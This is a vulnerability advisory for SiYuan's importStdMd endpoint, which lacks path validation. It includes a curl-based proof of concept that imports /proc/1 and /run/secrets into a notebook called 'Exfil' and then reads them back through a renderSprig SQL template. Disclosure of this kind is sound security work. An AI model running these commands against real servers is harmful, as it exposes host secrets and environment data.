Summary
POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.
Details
File: kernel/api/import.go - function importStdMd
func importStdMd(c *gin.Context) {
notebook := arg["notebook"].(string)
localPath := arg["localPath"].(string) // no validation whatsoever
toPath := arg["toPath"].(string)
err := model.ImportFromLocalPath(notebook, localPath, toPath)
// ↑ calls filelock.Walk(localPath, ...) - reads entire directory tree
// and writes every file's content into workspace SQLite as note blocks
}model.ImportFromLocalPath (kernel/model/import.go:784):
func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
// ...
filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
// reads file content → converts to .sy note → stores in database
})
}Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.
Chained attack with Bug #1 (renderSprig):
Admin imports sensitive files → content stored in blocks table → non-admin user queries via querySQL through renderSprig.
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Create a notebook to import into
NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
-H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")
# Step 2: Import /proc/1/ - stores cmdline, environ, maps as notes
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"
# Step 3: Import Docker secrets (if present)
curl -s -X POST http://localhost:6806/api/import/importStdMd \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"
# Step 4: Any authenticated user (non-admin) queries the imported secrets
curl -s -X POST http://localhost:6806/api/template/renderSprig \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.
Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the renderSprig SQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.
References
fg0x0 Reporter
Summary
POST /api/import/importStdMdpasses thelocalPathparameter directly tomodel.ImportFromLocalPathwith zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.Details
File:
kernel/api/import.go- functionimportStdMdmodel.ImportFromLocalPath(kernel/model/import.go:784):Unlike
globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.Chained attack with Bug #1 (renderSprig):
Admin imports sensitive files → content stored in
blockstable → non-admin user queries viaquerySQLthroughrenderSprig.PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
Impact
An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike
globalCopyFiles, there is no blocklist -/proc/,/etc/,/run/secrets/,/home/are all accepted.Data persists in the workspace database across restarts and is accessible to Publish Service Reader accounts. Combined with the
renderSprigSQL injection (separate advisory), a non-admin user can then read all imported secrets without any additional privileges.References